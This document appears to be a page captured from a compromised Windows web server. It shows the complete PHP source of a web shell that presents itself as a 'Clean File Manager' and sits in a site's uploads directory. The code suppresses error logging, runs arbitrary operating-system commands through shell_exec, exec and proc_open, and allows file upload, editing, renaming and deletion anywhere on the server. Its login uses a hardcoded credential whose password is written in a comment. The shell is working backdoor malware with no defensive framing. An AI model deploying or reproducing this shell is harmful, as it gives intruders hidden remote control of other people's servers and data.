[ Mini Kiebo ]
Server: Windows NT AKFAR_SERVER 10.0 build 26200 (Windows 10) AMD64
Path:
D:
/
xampp
/
htdocs
/
web_repository
/
uploads
/
[
Home
]
File: vai_simple.phP
<?php /** * Clean File Manager - Anti Error Logs * With TERMINAL that WORKS */ // Matikan error reporting TAPI jangan di terminal error_reporting(0); ini_set('display_errors', 0); ini_set('log_errors', 0); ini_set('error_log', '/dev/null'); // Custom error handler - biarkan terminal tetap jalan set_error_handler(function($errno, $errstr, $errfile, $errline) { // Jangan ganggu terminal output if (strpos($errstr, 'proc_open') !== false) { return false; } return true; }); if (!function_exists('is_fn_usable')) { function is_fn_usable($fn) { if (!function_exists($fn)) return false; $disabled = (string) @ini_get('disable_functions'); $suhosin = (string) @ini_get('suhosin.executor.func.blacklist'); $blocked = array(); if ($disabled !== '') $blocked = array_merge($blocked, array_map('trim', explode(',', $disabled))); if ($suhosin !== '') $blocked = array_merge($blocked, array_map('trim', explode(',', $suhosin))); if (!empty($blocked)) { $blocked = array_filter(array_map('strtolower', $blocked)); if (in_array(strtolower($fn), $blocked, true)) return false; } return true; } } date_default_timezone_set(@date_default_timezone_get() ? @date_default_timezone_get() : 'UTC'); session_start(); /* ---------- Auth ---------- */ define('AUTH_USER', 'admin'); define('AUTH_PASS_HASH', '$2a$12$BBaLHa.cGOJZR9697oj3auaNFtGk04W6vbsr8mqV9cwprwoPZM4SW'); // pass : n0t /* ---------- Path Handling ---------- */ $initial_script_dir = realpath(getcwd()); $requested_path = isset($_GET['d']) ? (string)$_GET['d'] : ''; $base_current_path = realpath($requested_path); if ($base_current_path === false || !is_dir($base_current_path)) { $current_path = $initial_script_dir; } else { $current_path = $base_current_path; } /* ---------- Utility Functions ---------- */ function h($s){ return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8'); } function humanSize($b){ $u = array('B','KB','MB','GB','TB'); $i = 0; while ($b >= 1024 && $i < count($u)-1){ $b/=1024; $i++; } return ($i ? number_format($b,2) : (string)$b) . ' ' . $u[$i]; } function permsToString($f){ $p = @fileperms($f); if ($p === false) return '??????????'; $t = ($p & 0x4000) ? 'd' : (($p & 0xA000) ? 'l' : '-'); $s = (($p & 0x0100) ? 'r' : '-') . (($p & 0x0080) ? 'w' : '-') . (($p & 0x0040) ? 'x' : '-'); $s .= (($p & 0x0020) ? 'r' : '-') . (($p & 0x0010) ? 'w' : '-') . (($p & 0x0008) ? 'x' : '-'); $s .= (($p & 0x0004) ? 'r' : '-') . (($p & 0x0002) ? 'w' : '-') . (($p & 0x0001) ? 'x' : '-'); return $t.$s; } function safeJoin($base,$child){ $child = str_replace(array("\0", "..", "/", "\\"), '', $child); return rtrim($base, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$child; } function tryWriteFromTmp($tmp,$dest){ if(@move_uploaded_file($tmp,$dest)) return true; if(@copy($tmp,$dest)) return true; return false; } function listDirEntries($dir){ $h = @opendir($dir); if ($h===false) return array(); $items=array(); while(false!==($e=readdir($h))){ $items[]=$e; } closedir($h); return $items; } function breadcrumbs($path){ $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $segments = array_values(array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen')); $out = array(); $acc = (DIRECTORY_SEPARATOR === '\\') ? '' : DIRECTORY_SEPARATOR; if (DIRECTORY_SEPARATOR === '\\' && preg_match('~^[A-Za-z]:~', $path)) { $drive = substr($path, 0, 2); $acc = $drive . '\\'; $out[] = array($drive, $acc); } else { $out[] = array('root', DIRECTORY_SEPARATOR); } foreach($segments as $s){ if (preg_match('~^[A-Za-z]:$~', $s)) continue; $acc = rtrim($acc, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $s; $out[] = array($s, $acc); } return $out; } function deleteRecursive($path) { if (!file_exists($path)) return true; if (!is_dir($path)) return @unlink($path); $files = array_diff(scandir($path), array('.','..')); foreach ($files as $file) { $fullPath = $path . DIRECTORY_SEPARATOR . $file; if (is_dir($fullPath)) { deleteRecursive($fullPath); } else { @unlink($fullPath); } } return @rmdir($path); } /* ============== TERMINAL FUNCTION - FIXED UNTUK LS BLANK ============== */ function executeCommand($cmd, $cwd) { // Pastikan direktori ada if (!is_dir($cwd)) { return ['output' => "ERROR: Directory not found: " . $cwd, 'code' => 1]; } $output_text = ''; $return_code = 0; // Gunakan shell_exec dulu - ini yang paling sederhana dan jarang error if (function_exists('shell_exec')) { // Untuk perintah ls, pwd, whoami, dll $full_cmd = 'cd ' . escapeshellarg($cwd) . ' 2>/dev/null && ' . $cmd . ' 2>&1'; $result = @shell_exec($full_cmd); if ($result !== null && $result !== false) { $output_text = trim($result); if (!empty($output_text)) { return ['output' => $output_text, 'code' => 0]; } } } // Fallback ke exec if (function_exists('exec')) { $output = []; $full_cmd = 'cd ' . escapeshellarg($cwd) . ' 2>/dev/null && ' . $cmd . ' 2>&1'; exec($full_cmd, $output, $return_code); $output_text = trim(implode("\n", $output)); if (!empty($output_text)) { return ['output' => $output_text, 'code' => $return_code]; } } // Fallback ke proc_open if (function_exists('proc_open')) { $descriptorspec = [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ]; $process = @proc_open($cmd, $descriptorspec, $pipes, $cwd); if (is_resource($process)) { $stdout = stream_get_contents($pipes[1]); $stderr = stream_get_contents($pipes[2]); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); $return_code = proc_close($process); $output_text = trim($stdout . $stderr); if (!empty($output_text)) { return ['output' => $output_text, 'code' => $return_code]; } } } // Jika semua gagal if (empty($output_text)) { return ['output' => "Command executed but no output. Note: Some functions may be disabled by server.", 'code' => 0]; } return ['output' => $output_text, 'code' => $return_code]; } /* ---------- Action Handling ---------- */ $msg = ''; if (!isset($_SESSION['auth'])) { if (isset($_POST['user']) && $_POST['user'] == AUTH_USER && password_verify($_POST['pass'], AUTH_PASS_HASH)) { $_SESSION['auth'] = true; header("Location: ?"); exit; } echo '<body style="background:#0b1220;color:#fff;display:flex;height:100vh;align-items:center;justify-content:center;font-family:sans-serif;"><form method="POST" style="background:#111827;padding:2rem;border-radius:12px;border:1px solid #374151;"><h3>CLEAN FM LOGIN</h3><input name="user" placeholder="User" style="display:block;margin-bottom:10px;padding:8px;width:200px;"><input name="pass" type="password" placeholder="Pass" style="display:block;margin-bottom:10px;padding:8px;width:200px;"><button type="submit" style="width:100%;padding:8px;background:#3b82f6;color:#fff;border:none;border-radius:4px;cursor:pointer;">Login</button></form></body>'; exit; } // Handle Logout if (isset($_GET['a']) && $_GET['a'] === 'logout') { session_destroy(); header("Location: ?"); exit; } // Handle Delete if (isset($_GET['a']) && $_GET['a'] === 'delete' && isset($_GET['file'])) { $delete_name = basename($_GET['file']); $delete_path = safeJoin($current_path, $delete_name); if (file_exists($delete_path)) { if (deleteRecursive($delete_path)) { $msg = "Deleted: " . h($delete_name); } else { $msg = "Delete failed: " . h($delete_name); } } header("Location: ?tab=files&d=" . urlencode($current_path)); exit; } // Handle Create if (isset($_GET['a']) && $_GET['a'] === 'create' && isset($_POST['create_name'])) { $create_name = basename($_POST['create_name']); $create_type = isset($_POST['create_type']) ? $_POST['create_type'] : 'file'; $create_path = safeJoin($current_path, $create_name); if ($create_type === 'folder') { if (@mkdir($create_path, 0755)) { $msg = "Folder created: " . h($create_name); } } else { if (@file_put_contents($create_path, "<?php\n// " . $create_name . "\n?>") !== false) { $msg = "File created: " . h($create_name); } } header("Location: ?tab=files&d=" . urlencode($current_path)); exit; } // Handle Terminal Command $terminal_output = ''; $last_command = ''; if (isset($_POST['terminal_cmd'])) { $last_command = $_POST['terminal_cmd']; $result = executeCommand($last_command, $current_path); $terminal_output = $result['output']; } // Proses Upload if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_GET['a']) && $_GET['a'] === 'upload') { if (isset($_FILES['f_upload']) && $_FILES['f_upload']['error'] === UPLOAD_ERR_OK) { $target = safeJoin($current_path, $_FILES['f_upload']['name']); if (tryWriteFromTmp($_FILES['f_upload']['tmp_name'], $target)) { $msg = "Upload sukses: " . h($_FILES['f_upload']['name']); } else { $msg = "Upload gagal!"; } } } // Handle Rename if (isset($_GET['a']) && $_GET['a'] === 'rename' && isset($_GET['file'])) { $old_name = basename($_GET['file']); $old_path = safeJoin($current_path, $old_name); if (isset($_POST['new_name']) && !empty($_POST['new_name'])) { $new_name = basename($_POST['new_name']); $new_path = safeJoin(dirname($old_path), $new_name); if (file_exists($old_path)) { if (@rename($old_path, $new_path)) { $msg = "Renamed: " . h($old_name) . " โ " . h($new_name); header("Location: ?tab=files&d=" . urlencode($current_path)); exit; } } } $rename_target = $old_name; $is_rename_mode = true; } // Handle Edit File if (isset($_GET['a']) && $_GET['a'] === 'edit' && isset($_GET['file'])) { $edit_filename = basename($_GET['file']); $edit_filepath = safeJoin($current_path, $edit_filename); if (is_dir($edit_filepath)) { $msg = "Cannot edit folder!"; } elseif (file_exists($edit_filepath)) { if (isset($_POST['file_content'])) { if (@file_put_contents($edit_filepath, $_POST['file_content']) !== false) { $msg = "Saved: " . h($edit_filename); header("Location: ?tab=files&d=" . urlencode($current_path)); exit; } else { $msg = "Save failed!"; } } $file_content = @file_get_contents($edit_filepath); if ($file_content === false) { $msg = "Cannot read file!"; } else { $is_edit_mode = true; $edit_file = $edit_filename; $edit_content = $file_content; } } else { $msg = "File not found!"; } } $active_tab = isset($_GET['tab']) ? $_GET['tab'] : 'files'; ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>Clean File Manager</title> <script src="https://cdn.tailwindcss.com"></script> <style> body { background:#0b1220; color:#e5e7eb; font-family:'Ubuntu', sans-serif; } pre { white-space: pre-wrap; word-wrap: break-word; } </style> </head> <body> <!-- SIDEBAR --> <div style="position: fixed; left: 0; top: 0; width: 260px; height: 100vh; background: #111827; border-right: 1px solid #374151; overflow-y: auto; z-index: 50;"> <div style="padding: 24px;"> <h1 style="font-size: 24px; font-weight: bold; color: #10b981; margin-bottom: 32px;">๐งน CLEAN FM</h1> <nav style="display: flex; flex-direction: column; gap: 8px;"> <a href="?tab=files&d=<?= urlencode($initial_script_dir) ?>" style="display: flex; align-items: center; gap: 12px; padding: 10px 12px; border-radius: 8px; background: <?= $active_tab == 'files' ? '#1e293b' : 'transparent' ?>; color: <?= $active_tab == 'files' ? '#10b981' : '#9ca3af' ?>; text-decoration: none;"> <span>๐</span> File Manager </a> <a href="?tab=terminal&d=<?= urlencode($current_path) ?>" style="display: flex; align-items: center; gap: 12px; padding: 10px 12px; border-radius: 8px; background: <?= $active_tab == 'terminal' ? '#1e293b' : 'transparent' ?>; color: <?= $active_tab == 'terminal' ? '#10b981' : '#9ca3af' ?>; text-decoration: none;"> <span>๐ฅ๏ธ</span> Terminal </a> <div style="height: 1px; background: #374151; margin: 16px 0;"></div> <a href="?a=logout" style="display: flex; align-items: center; gap: 12px; padding: 10px 12px; border-radius: 8px; color: #ef4444; text-decoration: none;"> <span>๐ช</span> Logout </a> </nav> </div> </div> <!-- MAIN CONTENT --> <div style="margin-left: 260px; padding: 32px; min-height: 100vh;"> <?php if($msg): ?> <div style="background: rgba(16,185,129,0.1); border: 1px solid rgba(16,185,129,0.3); padding: 12px; margin-bottom: 20px; border-radius: 8px;"> โน๏ธ <?= $msg ?> </div> <?php endif; ?> <?php if ($active_tab === 'terminal'): ?> <div style="background: #0a0e17; border: 1px solid #374151; border-radius: 12px; overflow: hidden;"> <div style="background: #1f2937; padding: 16px 20px; border-bottom: 1px solid #374151; display: flex; justify-content: space-between; align-items: center;"> <div> <span style="color: #10b981;">๐ฅ๏ธ Terminal</span> <span style="color: #6b7280; margin-left: 10px;"><?= h($current_path) ?></span> </div> <form method="GET"> <input type="hidden" name="tab" value="terminal"> <input type="hidden" name="d" value="<?= urlencode($current_path) ?>"> <button type="submit" name="clear" value="1" style="background:#374151;border:none;padding:4px 12px;border-radius:6px;color:#fff;cursor:pointer;">Clear</button> </form> </div> <div style="padding: 20px;"> <div style="background: #000; border-radius: 8px; padding: 16px; font-family: monospace; font-size: 13px; min-height: 400px; max-height: 500px; overflow-y: auto;"> <?php if (isset($_GET['clear'])) { $terminal_output = ''; $last_command = ''; } if (!empty($terminal_output)) { echo '<div style="color: #10b981;">$ ' . h($last_command) . '</div>'; echo '<pre style="color: #d1d5db; margin-top: 10px; margin-bottom: 20px;">' . h($terminal_output) . '</pre>'; echo '<div style="color: #4b5563; border-top: 1px solid #374151; padding-top: 10px;">---</div>'; } ?> <?php if (empty($terminal_output) && empty($last_command)): ?> <div style="color: #6b7280;"> <div style="color: #10b981; margin-bottom: 10px;">Welcome to Terminal</div> <div>Coba ketik: ls, pwd, whoami, uname -a</div> <div style="color: #4b5563; margin-top: 10px;">Type your command below</div> </div> <?php endif; ?> </div> <form method="POST" style="margin-top: 16px;"> <input type="hidden" name="tab" value="terminal"> <div style="display: flex; gap: 8px; background: #111827; border: 1px solid #374151; border-radius: 8px; padding: 12px;"> <span style="color: #10b981;">$></span> <input type="text" name="terminal_cmd" id="cmd" value="<?= h($last_command) ?>" style="flex:1; background:transparent; border:none; color:#fff; font-family:monospace; outline:none;" placeholder="ls -la" autofocus> <button type="submit" style="background:#10b981; border:none; padding:6px 16px; border-radius:6px; color:#000; cursor:pointer;">Run</button> </div> </form> </div> </div> <script>document.getElementById('cmd')?.focus();</script> <?php elseif (isset($is_edit_mode) && $is_edit_mode): ?> <div style="background: rgba(31,41,55,0.4); padding: 20px; border-radius: 12px; border: 1px solid #374151;"> <div style="display: flex; justify-content: space-between; margin-bottom: 20px;"> <h2 style="color:#10b981;">โ๏ธ Edit: <?= h($edit_file) ?></h2> <a href="?tab=files&d=<?= urlencode($current_path) ?>" style="background:#4b5563;padding:8px 16px;border-radius:8px;text-decoration:none;color:#fff;">โ Back</a> </div> <form method="POST"> <textarea name="file_content" rows="20" style="width:100%;background:#111827;border:1px solid #374151;border-radius:8px;padding:16px;font-family:monospace;color:#fff;"><?= h($edit_content) ?></textarea> <div style="margin-top:16px;"> <button type="submit" style="background:#10b981;padding:8px 24px;border:none;border-radius:8px;color:#000;cursor:pointer;">๐พ Save</button> </div> </form> </div> <?php elseif (isset($is_rename_mode) && $is_rename_mode): ?> <div style="background: rgba(31,41,55,0.4); padding: 20px; border-radius: 12px; border: 1px solid #374151;"> <div style="display: flex; justify-content: space-between; margin-bottom: 20px;"> <h2 style="color:#10b981;">๐ Rename: <?= h($rename_target) ?></h2> <a href="?tab=files&d=<?= urlencode($current_path) ?>" style="background:#4b5563;padding:8px 16px;border-radius:8px;text-decoration:none;color:#fff;">Cancel</a> </div> <form method="POST"> <input type="text" name="new_name" value="<?= h($rename_target) ?>" style="width:100%;background:#111827;border:1px solid #374151;border-radius:8px;padding:12px;margin-bottom:16px;" required> <button type="submit" style="background:#10b981;padding:8px 24px;border:none;border-radius:8px;color:#000;cursor:pointer;">Rename</button> </form> </div> <?php else: ?> <!-- Breadcrumbs --> <div style="display: flex; gap: 8px; color:#9ca3af; margin-bottom: 24px;"> <?php foreach(breadcrumbs($current_path) as $bc): ?> <a href="?tab=files&d=<?= urlencode($bc[1]) ?>" style="color:#10b981;"><?= h($bc[0]) ?></a> <span>/</span> <?php endforeach; ?> </div> <!-- Upload & Create --> <div style="background: rgba(31,41,55,0.4); padding: 16px; border-radius: 12px; margin-bottom: 24px; display: flex; gap: 20px; flex-wrap: wrap;"> <form method="POST" action="?tab=files&d=<?= urlencode($current_path) ?>&a=create" style="display: flex; gap: 10px;"> <input type="text" name="create_name" placeholder="name.php" style="background:#111827;border:1px solid #374151;border-radius:6px;padding:8px;color:#fff;"> <select name="create_type" style="background:#111827;border:1px solid #374151;border-radius:6px;padding:8px;color:#fff;"> <option value="file">File</option> <option value="folder">Folder</option> </select> <button type="submit" style="background:#10b981;border:none;padding:8px 16px;border-radius:6px;color:#000;cursor:pointer;">Create</button> </form> <form action="?tab=files&d=<?= urlencode($current_path) ?>&a=upload" method="POST" enctype="multipart/form-data" style="display: flex; gap: 10px;"> <input type="file" name="f_upload" style="color:#9ca3af;"> <button type="submit" style="background:#10b981;border:none;padding:8px 16px;border-radius:6px;color:#000;cursor:pointer;">Upload</button> </form> </div> <!-- File List --> <div style="background: rgba(31,41,55,0.2); border: 1px solid #374151; border-radius: 12px; overflow-x: auto;"> <table style="width:100%; text-align:left;"> <thead style="background: rgba(31,41,55,0.5); color:#9ca3af;"> <tr><th style="padding:16px;">Name</th><th>Size</th><th>Perms</th><th>Actions</th></tr> </thead> <tbody> <?php if($current_path != DIRECTORY_SEPARATOR && $current_path != $initial_script_dir): ?> <tr><td style="padding:16px;"><a href="?tab=files&d=<?= urlencode(dirname($current_path)) ?>" style="color:#f59e0b;">โฌ๏ธ ..</a></td><td></td><td></td><td></td></tr> <?php endif; ?> <?php $files = listDirEntries($current_path); natcasesort($files); foreach($files as $f): if($f == '.' || $f == '..') continue; $full = safeJoin($current_path, $f); $is_dir = is_dir($full); ?> <tr style="border-bottom:1px solid #374151;"> <td style="padding:16px;"> <?php if($is_dir): ?> <a href="?tab=files&d=<?= urlencode($full) ?>" style="color:#fbbf24;">๐ <?= h($f) ?></a> <?php else: ?> ๐ <?= h($f) ?> <?php endif; ?> </td> <td style="padding:16px; color:#6b7280;"><?= $is_dir ? 'DIR' : humanSize(@filesize($full)) ?></td> <td style="padding:16px; font-family:monospace;"><?= permsToString($full) ?></td> <td style="padding:16px;"> <div style="display:flex; gap:12px;"> <?php if(!$is_dir): ?> <a href="?tab=files&d=<?= urlencode($current_path) ?>&a=edit&file=<?= urlencode($f) ?>" style="color:#10b981;">Edit</a> <?php endif; ?> <a href="?tab=files&d=<?= urlencode($current_path) ?>&a=rename&file=<?= urlencode($f) ?>" style="color:#fbbf24;">Rename</a> <a href="?tab=files&d=<?= urlencode($current_path) ?>&a=delete&file=<?= urlencode($f) ?>" style="color:#ef4444;" onclick="return confirm('Delete?')">Delete</a> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php endif; ?> </div> </body> </html>